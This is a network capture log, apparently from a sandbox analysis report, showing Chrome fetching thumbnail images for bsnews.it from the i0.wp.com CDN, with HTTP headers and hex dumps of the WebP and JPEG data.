2024-03-28 08:51:08 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 5752 Connection: close Last-Modified: Wed, 27 Mar 2024 09:59:06 GMT Expires: Fri, 27 Mar 2026 21:59:06 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ab7218dea24644d7" Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	798	IN	Data Raw: 52 49 46 46 70 16 00 00 57 45 42 50 56 50 38 20 64 16 00 00 50 62 00 9d 01 2a 44 01 a0 00 3e 6d 36 96 48 24 23 22 25 a5 18 3a 08 b0 0d 89 4d db c0 0e ad 30 a1 85 9f f4 de 7c 17 57 ef ff 8c 3a 2c 0e 17 65 1f d3 fe cb ed 33 fd 77 ac 3f 30 8f d7 9e 9c 9e 62 3f 5f 3f 73 3d de bf d9 fa b9 fe e5 ea 01 fd 4f fc 2f 5a 6f a0 37 97 27 ee 8f c3 77 f6 2f fb 7f b9 1e d4 bf ff f5 8d 14 b3 c3 bf 2a 5e 94 f6 db fb 8f 3d 2d e5 fa 17 fc d7 f0 57 ec ff bd 7a 57 e1 8f ab 2f 50 bf 68 ff 9b e1 3d b5 9f dc fd 43 bd b6 fb 07 fc 6f 13 0d 54 fb fd ec 01 fc cf fa cf fc ff 5e bc 36 fc bb fd bf b8 17 f4 7f eb 3f ef ff c0 7e 4e 7c 9e 7f d9 fe c3 d1 3f d5 9e c1 5f cf ff be 75 a9 f4 78 fd b9 24 e2 cc ab 5c 74 94 ae 39 fa 2b 72 2c e9 6c ef 21 d5 30 f1 55 7d 6a 89 89 3f 1a 86 2b a0 c1 09 Data Ascii: RIFFpWEBPVP8 dPbD>m6H$#"%:M0\|W:,e3w?0b?_?s=O/Zo7'w/^=-WzW/Ph=CoT^6?~N\|?_ux$\t9+r,l!0U}j?+
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 7f 31 34 f3 a6 25 d1 52 5c f8 bc ec 94 9c 9e 40 e8 00 fe f6 c3 bc d1 ff f3 7b bf 86 7f 96 23 df fc c8 af 18 38 9a 89 ac 83 26 89 12 61 7b f3 d2 97 75 c3 ab 9f b7 30 0e 5c d4 0e 07 81 ef 25 d9 6d bc 2d 29 75 37 49 1a ab 20 7d 37 3c e6 e5 2d 46 be bf d4 e5 1f d1 b9 aa 05 af 36 34 ca b2 de 22 40 80 0d 56 80 ef 0e 69 e6 38 25 5f f4 69 14 64 f6 29 58 a3 28 d3 05 2b 69 38 09 1b c1 b9 a0 7e 68 fd 0f 26 68 d2 58 1a 23 f9 c6 c9 ab 3d 4f 21 66 5e c4 d2 f7 1c 4b 1c 79 0f 5c 1b db fc d4 ab 98 a1 23 a3 4d 82 1c 86 d0 99 fb 90 5e f8 96 9d 3c 3d 20 f8 96 b9 2d 74 82 d7 a6 84 01 01 54 78 6b c7 db 9f 94 56 cb 6e 45 51 bc cc 16 85 ff 20 b1 64 ab 2c b3 82 7b ef 61 b4 25 da 1b 50 9f 54 69 50 90 9a 3e 21 2d 2e e1 c1 65 ee b4 02 41 2c c5 10 72 68 5f 69 bc bd 7c ec c6 eb 63 cc Data Ascii: 14%R\@{#8&a{u0\%m-)u7I }7<-F64"@Vi8%_id)X(+i8~h&hX#=O!f^Ky\#M^<= -tTxkVnEQ d,{a%PTiP>!-.eA,rh_i\|c
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: c4 df fb c5 8e 0b 83 fb b2 25 a5 ef 5c 51 56 66 71 67 e6 9c bc 26 a8 40 23 80 16 0e dc 22 59 ca 93 11 f0 79 2e 08 38 9b e9 b4 79 dd b6 6a a6 df e8 c8 e9 f7 fb e7 b6 b7 63 e6 b1 fd 94 80 bf d0 c1 94 0b 75 8d 81 40 af 95 77 de 08 da d2 e5 bb 6d f8 81 ac 7a 4e 0c 47 3e e4 34 6f 5b f6 30 39 1f 98 d0 ff 55 1b 9b a1 a2 af 94 f8 15 ba d6 57 59 bc 9a 33 b7 fb 21 74 6e c7 2f 8c 71 a7 a5 39 d7 6f 53 b5 7f 86 43 a3 74 4c bd 4f 74 cb 67 e1 86 c4 b7 26 58 20 f6 4b 95 f1 c7 af 5f 7a 87 68 b6 25 af 4a a5 bb c0 b9 58 c7 cb 65 b5 59 5c 0b 78 d9 8b c3 5e de 89 84 a7 e5 44 77 e7 5b f1 52 ec ae 0f 57 13 8e bf b9 f5 79 45 f9 a1 03 31 91 b1 4b a2 6f 1d 60 de dd 54 6e 95 a3 45 23 fa 35 f7 f6 7e 5b c8 3b f7 00 38 ca ee f4 d2 44 86 eb 83 72 d0 22 81 68 d5 0d bb 99 a1 42 58 16 16 Data Ascii: %\QVfqg&@#"Yy.8yjcu@wmzNG>4o[09UWY3!tn/q9oSCtLOtg&X K_zh%JXeY\x^Dw[RWyE1Ko`TnE#5~[;8Dr"hBX
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 33 45 8f 05 54 1e 16 3f 36 d7 d7 3a 05 62 83 9f 5f f4 b0 2f 8c 73 7c 00 37 62 c8 a2 c8 d4 22 ad 7e c9 ef ec 2f aa 94 f8 9b 14 06 f8 6e bf 0d ff d0 57 94 4a 3f bb fd 59 28 4b a0 1a cb 53 a2 d8 6f 6d 7d e5 a0 73 38 94 40 c2 0f fc 00 eb 4d 4c e3 e2 5a 4a 7b 4d f4 9c df 57 b5 72 f2 d3 cb 34 ad da dd 73 e3 5e 9d ca 76 fa 70 63 83 92 ef 56 d3 42 0e ef 5c e1 03 02 cc ae e8 81 bd cb 93 af 3f d3 ab cb b5 f7 96 ab 2c 59 47 e5 0b be 5d 5c e4 a5 5a 68 fa 0f 78 dc 87 52 94 ff 17 a3 e6 87 bd 3b ca f6 39 c0 c5 69 69 0e 4a 2f 2a 6c 4d 78 53 f3 de 91 c8 92 c4 56 aa e3 7a 6c ca 22 04 62 4f ad 08 1c 0b ab 0f eb 5f c9 95 ae 6b 98 c9 bf f0 5f 1a a2 8e 6e 3d 13 a8 2a 02 0b 6a 95 29 df 57 80 7a a2 1a 00 48 f7 03 d4 eb 9a 60 90 e0 d0 af d7 85 a0 fd 38 41 35 87 50 ff 76 48 44 e4 Data Ascii: 3ET?6:b_/s\|7b"~/nWJ?Y(KSom}s8@MLZJ{MWr4s^vpcVB\?,YG]\ZhxR;9iiJ/lMxSVzl"bO_k_n=j)WzH`8A5PvHD
2024-03-28 08:51:08 UTC	847	IN	Data Raw: 40 99 fe 02 ff b1 fa 2e cc 1f 28 b0 70 fa 05 42 d6 11 f7 45 ae 2b 29 a0 d1 96 fa ee b6 b5 78 04 d9 83 18 38 6a 16 a6 30 00 cd af 89 6c 6b 69 03 d3 f1 5e cd f7 5f 9b 4c 0b 9b 9b ec f9 a5 ca 8a ca 37 4a a9 39 03 6e 74 54 30 84 b3 ad 82 d7 a9 55 c0 85 2d a6 a2 1c 79 b4 a7 72 e5 9f 6b 63 54 82 2d f3 de f6 cf 6d 55 1a 12 04 0e 65 ce ae a3 8c 10 fe f5 57 9e ed d2 10 39 c2 7e 92 e4 da 58 04 3e 76 cb 15 f2 d3 d1 13 21 72 d3 f5 8a a7 c8 dd fb 85 58 88 4e 2d 04 45 58 a6 97 68 1e 41 99 a2 7e da 5d 04 e5 88 3d cc 89 a4 b7 74 ae 65 ce b4 a0 e2 c2 4c 07 e8 21 86 44 71 f7 18 65 28 b4 70 84 8b 0e 56 94 16 49 21 37 ad 72 18 97 57 a4 04 45 f7 66 4b ef 13 b3 0b e5 4f 90 c6 f3 fd 0a 6e da f4 86 89 25 f8 b4 b1 98 c4 ea 22 d5 55 f6 4a cd 30 bf e2 df cc 0c c0 ff 37 fe 92 df ca Data Ascii: @.(pBE+)x8j0lki^_L7J9ntT0U-yrkcT-mUeW9~X>v!rXN-EXhA~]=teL!Dqe(pVI!7rWEfKOn%"UJ07

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49862	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	424	OUT	GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	606	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 7735 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:08 GMT Expires: Sat, 28 Mar 2026 20:51:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "91a58cd0846caa97" X-Bytes-Saved: 406 Vary: Accept X-nc: MISS dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	763	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 09 06 07 08 07 06 09 08 07 08 0a 0a 09 0b 0d 16 0f 0d 0c 0c 0d 1b 14 15 10 16 20 1d 22 22 20 1d 1f 1f 24 28 34 2c 24 26 31 27 1f 1f 2d 3d 2d 31 35 37 3a 3a 3a 23 2b 3f 44 3f 38 43 34 39 3a 37 ff db 00 43 01 0a 0a 0a 0d 0c 0d 1a 0f 0f 1a 37 25 1f 25 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 ff c2 00 11 08 00 96 00 da 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 03 04 00 02 05 01 06 07 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 00 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 bf 79 6f 37 a2 74 f1 81 5b Data Ascii: JFIFC "" $(4,$&1'-=-157:::#+?D?8C49:7C7%%77777777777777777777777777777777777777777777777777"yo7t[
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 02 02 03 01 01 00 02 03 01 00 00 00 00 01 02 00 03 11 12 04 21 10 13 31 22 32 05 23 14 41 42 24 ff da 00 08 01 01 00 01 05 02 f9 31 98 a2 0e e2 fc 63 3e 97 39 ae 6d ad 8d 66 d5 21 d9 7c 72 9f d3 c8 e6 de 6c 06 56 09 64 4c 5c f6 6c 7e aa 65 9f 8d 63 25 77 72 42 a3 bc 66 26 6d 89 95 8c 27 c9 d4 13 fe ce 22 fd 07 a3 f7 11 5c ac e0 b1 6a 7c 73 38 fe d9 c8 0a 80 ca f2 0f f4 cc 54 41 b1 94 ff 00 68 c7 d5 9e fa 7b 19 8c cc c1 9f 55 8c 30 18 3b 04 76 b1 be 83 0c 0b d7 00 8d 23 92 05 bc db 92 5c fb 3e c0 8a dc ab 1e 98 62 03 88 a7 63 5c 66 1b 17 ff 00 5c ca 78 30 8c 15 ee 58 98 9f a9 b9 9b 6d 08 89 f4 c3 d0 e2 b8 01 1a 3f ce 73 e6 58 14 46 80 61 41 13 70 26 dd 21 20 e3 f2 ab 2c ce 46 20 fb a8 8c 7f 6d f2 b9 b1 8d 92 b8 33 59 d8 54 6e 84 6c cd e5 56 b8 9f f2 06 97 Data Ascii: !1"2#AB$1c>9mf!\|rlVdL\l~ec%wrBf&m'"\j\|s8TAh{U0;v#\>bc\f\x0Xm?sXFaAp&! ,F m3YTnlV
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 57 e3 97 0a d8 3d cf f2 22 ab 7b 1b 34 48 a4 e1 b4 1a e6 c3 84 35 58 fd ef 16 c5 9c 68 99 d0 d5 53 ed 83 85 55 38 dd b2 8e d5 f8 1f c9 fc db 5c d2 3e 47 9c 7a 72 6a d8 c9 ab 21 b5 87 b2 4c de 06 9a 19 83 26 06 88 32 8a 7e 09 49 1a 56 7d 2b f0 55 4b e1 53 ec 52 b1 1c 26 52 38 b8 61 c9 eb 66 7c b3 b5 db de da 64 1d 42 ab d8 c9 06 19 d3 2f 19 12 48 51 e4 88 79 16 34 3f 07 12 5d 3e a7 ea 42 88 93 c9 56 1e 8a 5a 43 6a 92 ae 2a 7a 5a bc 19 30 3e 95 fb 9a 24 d1 86 52 27 4e 1a fe e6 25 87 8d 9e 34 36 da e2 22 52 fd ce f1 7f 6f a9 d2 db 8f 54 71 21 39 7c 5f 23 fa 6f 7f 02 fa 6b e9 55 db 19 c1 8a 7f 35 1f d2 b1 e8 53 f4 aa ab 0c fa 89 ea 98 c1 f5 22 67 85 d9 48 a3 c9 0f ce 59 34 95 54 fd 49 9f d8 cf 0f c1 b7 f9 30 84 de e0 f1 a2 99 81 e8 71 06 60 f9 32 3a 5b e8 92 Data Ascii: W="{4H5XhSU8\>Gzrj!L&2~IV}+UKSR&R8af\|dB/HQy4?]>BVZCj*zZ0>$R'N%46"RoTq!9\|_#okU5S"gHY4TI0q`2:[
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 18 59 7d a1 96 3f 03 89 e0 9a b9 c8 6d 65 84 ba b0 e5 4b 40 a3 e0 4a 45 69 59 35 08 5c 2d 6c 0e d8 2c a3 64 a9 47 e0 56 a5 ae 0f 88 0d 21 65 fa a0 03 6b 9c 90 f5 fa 95 3f e9 64 bd 28 1d 21 9c 97 52 83 00 40 1a 80 dc 40 f5 9d fb c7 79 2f 71 1e db 0c db 30 07 52 27 21 4c 7b 55 a5 88 ca 96 f3 fc 4d d4 3c 42 73 37 78 94 c5 14 77 b9 78 91 7c d9 0a 32 ac dd 4e 5e 12 52 8d 4d 28 16 93 da a6 55 a3 51 99 87 a2 17 f6 44 2a 18 6a 57 c7 56 e5 22 8b 78 8c 67 11 5d 3e 63 d2 45 8b 1e a2 b9 9b 6e af ab 2e 59 8b 99 37 04 a8 bd 1b 9b 10 ba e0 40 c7 91 43 13 df ed 2b ca 91 0e 84 f5 9e f1 ed ca 55 30 88 59 57 1e 99 e4 f7 13 96 9d 93 cb f3 81 d1 58 dd 11 33 b7 ea 96 02 9e 23 48 3c a6 6a 1a a9 d9 0e 02 65 9f a8 f5 b7 ac 2b 3f 2c 40 4d d1 f9 3f d4 b8 90 02 54 23 21 75 9c b9 bd Data Ascii: Y}?meK@JEiY5\-l,dGV!ek?d(!R@@y/q0R'!L{UM<Bs7xwx\|2N^RM(UQD*jWV"xg]>cEn.Y7@C+U0YWX3#H<je+?,@M?T#!u
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 26 ab 8d bf a8 da f2 8c 5c 26 61 8c 4d e9 a9 71 65 3a 08 9f 19 99 fc c9 56 d7 23 eb ff 00 a9 47 31 c6 8a 72 09 c6 be f1 38 91 a5 e8 67 db e2 32 d5 c9 33 b0 9f fb 0a 82 97 2a 2d ae 62 37 07 52 8b b1 31 5c e3 11 53 00 0b 85 5e 1d db eb e9 12 c0 30 ea b3 37 9e 7f d8 44 5c ab 3b a6 5f ac f0 21 94 31 5b 4c 5c 52 24 28 d3 19 b3 4f 8f 88 f9 04 5b 86 bb 6d f8 fa 41 13 00 e7 f0 45 04 80 f5 96 e1 56 df 98 c4 58 f7 72 5f 7d 95 30 2d 46 fd 42 95 8b a9 e5 96 8e 4a 20 9e 5f 59 ac aa 05 b6 d7 fc 20 a3 e4 2a b3 97 fe 44 8a ad 8c b0 37 8f f9 1c 89 2f e9 af d4 4a 40 07 74 b8 88 de 82 f7 cb 99 78 b4 16 2c bc 3e f0 20 a8 b3 1b 65 a3 ff 00 8e b3 0a 77 15 78 80 11 75 60 bf 32 df 5b 80 b3 0a fb ce 24 1b d6 dd dc 78 d4 12 7c 3c bc c5 a9 c0 e4 78 fe 2a 19 61 27 0d 78 40 a0 a1 3d Data Ascii: &\&aMqe:V#G1r8g23-b7R1\S^07D\;_!1[L\R$(O[mAEVXr_}0-FBJ _Y D7/J@tx,> ewxu`2[$x\|<x*a'x@=
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2b c9 b7 7d 77 2d bd c5 10 3e 4c 62 55 40 98 60 51 5c 76 66 35 79 8b b0 5e 59 4d 3d 4a 9e 21 ba 80 35 75 f6 8f 04 10 73 c1 8a a2 bf 88 e7 bf b3 d9 7f 92 55 63 61 a8 1f 09 89 6d a3 ad d6 42 32 79 65 01 47 84 8b 4e bd 46 25 a5 62 16 25 b0 f4 2c 4c 0a d9 98 76 7b 73 48 1f 03 f3 2f aa 3a f5 b4 4b bb 38 b3 e9 16 8b 0e 61 d3 45 95 cf 50 36 18 cd 61 b7 68 fc 1b 07 91 54 58 23 0b e3 9f 11 45 56 68 6e fa df c5 43 4b 53 4b 93 0a 1a f3 cc a9 b8 41 45 b1 51 fb df d2 5f 58 b0 0a 17 9a 32 5c a0 02 1a 04 bc 57 a2 31 a0 1e 3c cd 7f 7a 8e a8 56 db 28 3b f5 df cc ec 07 90 d6 37 0d 4c aa 88 45 45 20 2d a5 fd 45 98 2a 8a 20 00 8d 1c 65 65 ec 30 70 11 24 2c 39 12 f8 a0 b6 e0 d4 74 c2 b6 5e 4b 78 87 41 41 b6 ee 27 42 46 8f 19 c3 ed 14 c2 11 04 2d 6f 33 e0 26 b2 8a 39 2a f7 e7 Data Ascii: +}w->LbU@`Q\vf5y^YM=J!5usUcamB2yeGNF%b%,Lv{sH/:K8aEP6ahTX#EVhnCKSKAEQ_X2\W1<zV(;7LEE -E* ee0p$,9t^KxAA'BF-o3&9*
2024-03-28 08:51:08 UTC	127	IN	Data Raw: d8 2c d0 c2 ae d6 88 2c d0 e6 14 bf d5 08 2a 46 35 c4 20 8c 15 87 9e e1 98 18 12 f0 cd 1d f1 13 06 33 34 9b 4a ef 98 25 11 8a b9 c0 2a b5 2a 04 ce 8e a3 9d 95 71 08 82 d5 6e ba fd c0 08 65 44 75 f4 bd 4b 4b 36 54 60 a3 67 37 29 6a 1b ec ea 36 f2 22 b9 77 29 1a a6 93 52 38 c5 9a aa a6 d1 9f dc 05 c7 af 05 9e 48 84 09 6c 5b 0b 4f ae 20 83 94 07 06 b0 ef fb cc 3d a9 05 b6 67 ff d9 Data Ascii: ,,F5 34J%*qneDuKK6T`g7)j6"w)R8Hl[O =g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49864	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	406	OUT	GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	587	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 9422 Connection: close Last-Modified: Tue, 26 Mar 2024 13:56:49 GMT Expires: Fri, 27 Mar 2026 01:56:49 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "11cbd895d5e4a184" X-Bytes-Saved: 460 Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	782	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 96 00 da 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 05 00 02 03 04 06 01 07 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 00 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c1 75 bc 17 91 35 d1 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("u5
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: be 9d 84 0c d7 16 6b db a2 0d 73 a0 8b 51 1d 42 d0 d9 3d d6 d4 54 4b ae a1 cd 88 ca 26 e0 37 68 dd 18 ad 23 53 9d 6f d5 48 86 24 b6 31 61 24 21 e3 4b 1e b1 26 58 ba 91 c4 05 a5 37 e1 24 9d 22 1a 94 d9 24 a8 a9 25 b2 b0 90 c4 83 24 8d c4 95 17 ff c4 00 2a 10 00 01 04 01 03 03 04 03 00 03 01 00 00 00 00 00 02 00 01 03 04 05 11 12 13 10 14 21 06 20 22 31 15 23 32 24 33 41 34 ff da 00 08 01 01 00 01 05 02 e9 a2 6f 0b 1b 91 af db fa 8e 58 ee 57 ed c9 96 3b 17 62 ec 95 3d 3d 56 16 08 a3 8c 74 65 c6 b8 96 d9 99 6f 98 53 4e c9 89 89 5b 9b 86 0a b1 bc 31 35 88 99 47 2c 64 bc 3a 21 da f0 59 86 52 b2 c1 df cb 34 20 ad 59 ac eb 9a b2 d7 a3 78 5f 6a 36 77 5a e8 f8 6e 3d b3 e5 a2 04 fe a1 1d bf 9f 9b 75 3c b3 4b 18 e5 61 74 19 28 8c da d3 39 6e 37 47 2e 8d 11 4c 53 64 Data Ascii: ksQB=TK&7h#SoH$1a$!K&X7$"$%$*! "1#2$3A4oXW;b==VteoSN[15G,d:!YR4 Yx_j6wZn=u<Kat(9n7G.LSd
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 51 41 42 a1 05 14 61 c1 f0 ff da 00 08 01 03 01 01 3f 01 5a 4c fd 4d 3e 9c 20 c9 ee 3e 8e 9e ee 4c d5 1f 41 f6 8e 61 6c c2 55 bb 13 28 21 25 79 31 2a 64 16 8a 4d 53 99 e9 60 60 cf da 9a 5e 60 ca e1 8e 39 94 d1 b1 07 10 34 fd 41 37 26 ff 00 88 45 f1 3d 34 a9 a3 c9 ec 40 38 9b 04 24 7d 66 94 a3 d2 64 68 29 aa b6 2a 41 52 9a 74 2c 26 b7 9a 64 58 d8 4d 30 2e 85 04 af 44 d1 62 b0 2c c0 94 d8 a9 95 9f d4 7c db 4d 5f ec 6b 6a df 23 6c c4 2b 36 c3 28 55 74 9a 8a 82 a3 e4 4a 14 11 d5 99 cf 51 f4 cb b4 3d 33 d9 c4 6d 3d 15 3e 99 6c 1f c5 f6 7c 18 2b 54 eb 30 d8 9c 4c e6 08 29 ab d0 ef 99 89 a4 7d 88 de 40 13 f3 2b d5 53 4c 2d 47 04 e7 e9 16 a7 3e 6e 19 3f 30 e3 3c 5b 06 01 37 59 bd b4 0f 7c c0 f4 fc 8f d7 fd fc ff 00 53 29 b7 93 1c e5 8d 84 23 30 f1 33 c4 cd 96 67 Data Ascii: QABa?ZLM> >LAalU(!%y1dMS``^`94A7&E=4@8$}fdh)ARt,&dXM0.Db,\|M_kj#l+6(UtJQ=3m=>l\|+T0L)}@+SL-G>n?0<[7Y\|S)#03g
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f6 37 8b fc 43 25 34 1d f2 95 96 9f 95 6c 07 d3 c0 bc 7d a2 8d 01 da 9d 33 fd e5 bf 89 0d ee f6 9c 95 8f c9 c4 14 b6 47 77 23 cc 49 9e be 12 58 fa 44 a6 e7 94 98 5e 93 02 07 ca 73 2d e6 b6 f7 dd 91 ca 35 ba 08 89 da 30 c5 62 65 1e 10 f8 78 82 d4 5b fa 4c 6b 41 6a 37 10 af 35 4c 39 4d ad 45 30 95 92 c5 40 6b fb cc 61 7e 02 53 6c 42 fa 91 94 a4 69 50 5d a2 e3 e2 73 f3 09 54 59 80 0d f7 b5 df ac cd 04 cd 4f c8 c1 c3 2f 7e d0 5c e7 df b4 e4 aa 5f dc 5a 6d 35 d8 66 a8 70 fb c2 37 96 6f bc 6f 11 b0 00 df 9c 91 0a ad 4c 8e 5e 69 73 88 8e c4 c7 7d 9a 9d d4 76 99 d1 a8 2d dd 65 88 80 77 70 27 5c 51 50 39 cf 2d 63 6d 00 52 c2 eb 9a 63 ff 00 53 87 5e 8d 37 5c 65 c1 e2 db 5f 94 e2 d1 a7 4c 25 b0 e0 e2 7f a9 52 87 c2 bd 47 c5 8b 1c a4 cf 42 99 a8 9a 32 54 b5 fd f2 9b Data Ascii: 7C%4l}3Gw#IXD^s-50bex[LkAj75L9ME0@ka~SlBiP]sTYO/~\_Zm5fp7ooL^is}v-ewp'\QP9-cmRcS^7\e_L%RGB2T
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 4a 34 80 61 1f 69 81 3c 95 45 cb 36 2a 02 2b f4 b9 4f 04 40 37 dd b2 84 a3 5c 39 81 30 c1 70 fd 11 c8 47 26 f0 d0 c7 4d a3 8d 4e fc cb 20 86 70 8a fe 27 00 56 a8 d4 1d d7 ee 73 0a e4 fb 3d 23 7f f3 b5 7d 25 00 c1 54 96 30 79 c0 f0 cc fa 8f a6 70 dd a6 9a 66 68 e4 76 d7 e9 1f e3 6f ed 9f bc e1 86 36 61 a3 be 9d 23 c8 29 43 11 62 74 44 60 f1 2d 84 c0 c3 2f b8 85 fa 7f cc f2 55 32 bc c3 d7 42 ca f3 5d c6 3c ae 55 38 fe 60 a9 6d 54 e2 3d 59 0b e5 15 b5 f1 4c 33 4e 1f af 5a dd b0 5c 4b 57 9c 75 4b dd 3f 7a 97 58 61 e9 5e 84 a1 ba 99 c8 1b b9 35 05 2e 51 6a a0 f0 4c 73 fa 8e e2 9f b3 d3 78 bb 94 06 97 3c 21 fc 8c 61 04 9b 04 56 d2 4a e4 6d 82 ac 3a 05 dd 94 22 85 06 96 cc 7d 58 77 3e cd 27 da 57 2a 35 8f ab f1 16 2b 5e 00 f9 ad 90 55 8f 90 0f a6 d6 2e 43 74 bb Data Ascii: J4ai<E6+O@7\90pG&MN p'Vs=#}%T0ypfhvo6a#)CbtD`-/U2B]<U8`mT=YL3NZ\KWuK?zXa^5.QjLsx<!aVJm:"}Xw>'W5+^U.Ct
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f4 20 b6 bb 9b 54 22 94 4a 50 79 f3 3b ed 32 30 77 aa 94 ff 00 5c 4f c6 ee 34 9d 7a f5 c3 34 32 c1 0c 75 71 c1 3b 81 88 35 a8 69 65 22 41 43 57 dd ff 00 9a 7c c0 64 3b 1a ac 23 5e c6 34 f7 13 a0 a8 d1 9d 94 d2 e4 ed f3 d1 88 08 f9 e0 ae 6e 24 1f 29 a1 8d 9d 4b 7a 86 dc c4 c1 68 30 4b 22 cc 70 cb 89 d1 a9 46 e5 cd c4 90 44 d8 80 cb 12 88 1a a2 27 0a a6 dc 50 41 d3 84 20 78 8f 8c b0 aa 98 37 85 48 7c 4b 97 06 56 86 62 5b c6 f0 53 88 f0 bf a9 dc db cf 73 4f 1f ff c4 00 22 11 01 00 02 02 03 01 00 01 05 00 00 00 00 00 00 00 01 00 11 21 31 10 41 51 61 71 91 a1 b1 c1 f0 ff da 00 08 01 02 01 01 3f 10 4e d1 d5 1a 8e 42 51 57 3f 65 c1 85 4b 9c c7 41 98 32 44 98 17 f3 99 70 91 02 28 7b 82 9e e2 3f b2 20 6e 60 29 1c c4 98 58 a4 1b 8c b5 54 a3 25 4a ed 16 c2 fa 8e 8a Data Ascii: 